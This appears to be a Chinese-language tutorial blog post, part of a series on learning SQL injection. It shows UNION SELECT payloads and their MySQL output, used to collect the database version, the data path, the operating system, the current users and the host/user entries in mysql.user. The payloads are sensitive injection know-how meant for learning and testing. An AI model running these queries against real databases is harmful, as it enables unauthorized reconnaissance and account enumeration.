SQL注入学习之数据库信息收集（五）

0x00 版本收集与路径

识别数据库版本有助于我们进一步对数据库进行注入我们可以用到 version() @@version /*!版本号*/

/*!*/ 意为在xxx版本之上执行 我的版本是5.6所以可以执行

mysql> SELECT * FROM admin WHERE id = 1 union select 1,version(),3;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
|    1 | 5.6.30-1 | 3        |
+------+----------+----------+
2 rows in set (0.00 sec)

mysql> SELECT * FROM admin WHERE id = 1 union select 1,@@version,3;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
|    1 | 5.6.30-1 | 3        |
+------+----------+----------+
2 rows in set (0.01 sec)

mysql> SELECT * FROM admin WHERE id = 1 union select 1,/*!40000 user()*/,3;
+------+----------------+----------+
| id   | username       | password |
+------+----------------+----------+
|    1 | admin          | admin    |
|    1 | root@localhost | 3        |
+------+----------------+----------+
2 rows in set (0.00 sec)

路径的话一般用@@datadir就可以了然后大概反猜下网站路径 操作系统 @@version_compile_os

0x01 用户,链接信息

system_user() //系统用户名
user() // 用户名
current_user() //当前用户名
session_user() //链接数据库的用户名

mysql> select * from users where id =1 union select system_user(),session_user(),current_user();
+--------------------+--------------------+----------+
| id                 | username           | password |
+--------------------+--------------------+----------+
| 1                  | Dumb               | Dumb     |
| root@192.168.1.101 | root@192.168.1.101 | root@%   |
+--------------------+--------------------+----------+
2 rows in set (0.00 sec)

读取host与user

mysql> select * from users where id =1 union select 1,host,user from mysql.user;
+----+-----------+----------+
| id | username  | password |
+----+-----------+----------+
|  1 | Dumb      | Dumb     |
|  1 | %         | root     |
|  1 | 127.0.0.1 | root     |
|  1 | ::1       | root     |
|  1 | localhost | root     |
+----+-----------+----------+
5 rows in set (0.00 sec)

0x02 文末

通过以上信息还能大概判断下是不是站库分离之类的

本文如有错误，请及时提醒，避免误导他人